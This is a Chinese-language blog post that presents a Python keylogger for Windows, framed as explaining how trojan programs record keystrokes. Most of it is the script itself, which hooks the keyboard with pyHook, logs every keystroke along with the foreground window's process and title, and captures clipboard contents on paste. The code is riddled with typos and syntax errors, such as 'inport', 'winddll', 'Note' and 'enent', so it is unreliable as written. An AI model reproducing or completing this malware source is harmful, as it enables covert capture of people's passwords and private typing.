Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python获取运行目录与当前脚本目录的方法
Jun 01 Python
Python网络编程详解
Oct 31 Python
python+matplotlib演示电偶极子实例代码
Jan 12 Python
Python动刷新抢12306火车票的代码(附源码)
Jan 24 Python
python爬虫_实现校园网自动重连脚本的教程
Apr 22 Python
Flask框架信号用法实例分析
Jul 24 Python
使用Python获取网段IP个数以及地址清单的方法
Nov 01 Python
Python XlsxWriter模块Chart类用法实例分析
Mar 11 Python
pyqt5让图片自适应QLabel大小上以及移除已显示的图片方法
Jun 21 Python
Python多叉树的构造及取出节点数据(treelib)的方法
Aug 09 Python
docker-py 用Python调用Docker接口的方法
Aug 30 Python
python 下划线的不同用法
Oct 24 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
PHP开发中常用的字符串操作函数
2011/02/08 PHP
PHP发明人谈MVC和网站设计架构 貌似他不支持php用mvc
2011/06/04 PHP
php页面,mysql数据库转utf-8乱码,utf-8编码问题总结
2015/08/27 PHP
laravel学习教程之存取器
2016/07/30 PHP
Yii 2.0在Grid中格式化时间方法示例
2017/06/06 PHP
jquery 注意事项与常用语法小结
2010/06/07 Javascript
js页面跳转的问题(跳转到父页面、最外层页面、本页面)
2013/08/14 Javascript
jquery中插件实现自动添加用户的具体代码
2013/11/15 Javascript
JavaScript的null和undefined区别示例介绍
2014/09/15 Javascript
Javascript与jQuery方法的隐藏与显示
2015/01/19 Javascript
JS实现仿中关村论坛评分后弹出提示效果的方法
2015/02/23 Javascript
基于jQuery通过jQuery.form.js插件使用ajax提交form表单
2015/08/17 Javascript
jQuery下拉友情链接美化效果代码分享
2015/08/26 Javascript
js实现获取div坐标的方法
2015/11/16 Javascript
JavaScript字符串常用的方法
2016/03/10 Javascript
JavaScript实现时钟滴答声效果
2017/01/29 Javascript
理解javascript async的用法
2017/08/22 Javascript
浅谈webpack打包过程中因为图片的路径导致的问题
2018/02/21 Javascript
vue iview组件表格 render函数的使用方法详解
2018/03/15 Javascript
React Form组件的实现封装杂谈
2018/05/07 Javascript
带你使用webpack快速构建web项目的方法
2020/11/12 Javascript
Python使用scrapy采集时伪装成HTTP/1.1的方法
2015/04/08 Python
Python装饰器用法示例小结
2018/02/11 Python
从运行效率与开发效率比较Python和C++
2018/12/14 Python
python用fsolve、leastsq对非线性方程组求解
2018/12/15 Python
Python3 实现减少可调用对象的参数个数
2019/12/20 Python
Spark处理数据排序问题如何避免OOM
2020/05/21 Python
基于Python 的语音重采样函数解析
2020/07/06 Python
python 6行代码制作月历生成器
2020/09/18 Python
爱尔兰灯和灯具网上商店:Lights.ie
2018/03/26 全球购物
英国第一职业高尔夫商店:Clickgolf.co.uk
2020/11/18 全球购物
幼儿园元旦家长感言
2014/02/27 职场文书
数控机床专业自荐信
2014/05/19 职场文书
员工薪酬激励方案
2014/06/13 职场文书
利用ajax+php实现商品价格计算
2021/03/31 PHP
python单向链表实例详解
2022/05/25 Python